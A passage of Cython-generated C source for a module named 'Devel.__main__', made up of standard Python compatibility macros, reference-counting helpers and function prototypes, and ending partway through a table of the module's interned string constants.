&& !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #if CYTHON_ASSUME_SAFE_MACROS #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) #else #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) #endif #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : (Py_INCREF(func), func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef __Pyx_PyAsyncMethodsStruct typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #endif #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Devel____main__ #define __PYX_HAVE_API__Devel____main__ /* Early includes */ #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) #define __Pyx_PyObject_AsWritableString(s) ((char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsWritableSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); #define __Pyx_PySequence_Tuple(obj)\ (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } static PyObject *__pyx_m = NULL; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_cython_runtime; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "__main__.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* PySequenceContains.proto */ static CYTHON_INLINE int __Pyx_PySequence_ContainsTF(PyObject* item, PyObject* seq, int eq) { int result = PySequence_Contains(seq, item); return unlikely(result < 0) ? result : (result == (eq == Py_EQ)); } /* DictGetItem.proto */ #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); #define __Pyx_PyObject_Dict_GetItem(obj, name)\ (likely(PyDict_CheckExact(obj)) ?\ __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) #else #define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) #define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) #endif /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value); #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* ObjectGetItem.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject* key); #else #define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* IncludeStringH.proto */ #include <string.h> /* BytesEquals.proto */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); /* UnicodeEquals.proto */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; #define __Pyx_PyErr_Occurred() __pyx_tstate->curexc_type #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #define __Pyx_PyErr_Occurred() PyErr_Occurred() #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #if CYTHON_COMPILING_IN_CPYTHON #define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) #else #define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) #endif #else #define __Pyx_PyErr_Clear() PyErr_Clear() #define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* CLineInTraceback.proto */ #ifdef CYTHON_CLINE_IN_TRACEBACK #define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) #else static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); #endif /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* FastTypeChecks.proto */ #if CYTHON_COMPILING_IN_CPYTHON #define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); #else #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) #define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) #endif #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Devel.__main__' */ #define __Pyx_MODULE_NAME "Devel.__main__" extern int __pyx_module_is_main_Devel____main__; int __pyx_module_is_main_Devel____main__ = 0; /* Implementation of 'Devel.__main__' */ static PyObject *__pyx_builtin_print; static const char __pyx_k_On[] = "On"; static const char __pyx_k_app[] = "app"; static const char __pyx_k_dec[] = "dec"; static const char __pyx_k_sys[] = "sys"; static const char __pyx_k_argv[] = "argv"; static const char __pyx_k_exec[] = "exec_"; static const char __pyx_k_keys[] = "keys"; static const char __pyx_k_main[] = "main"; static const char __pyx_k_name[] = "__name__"; static const char __pyx_k_pref[] = "pref"; static const char __pyx_k_size[] = "size"; static const char 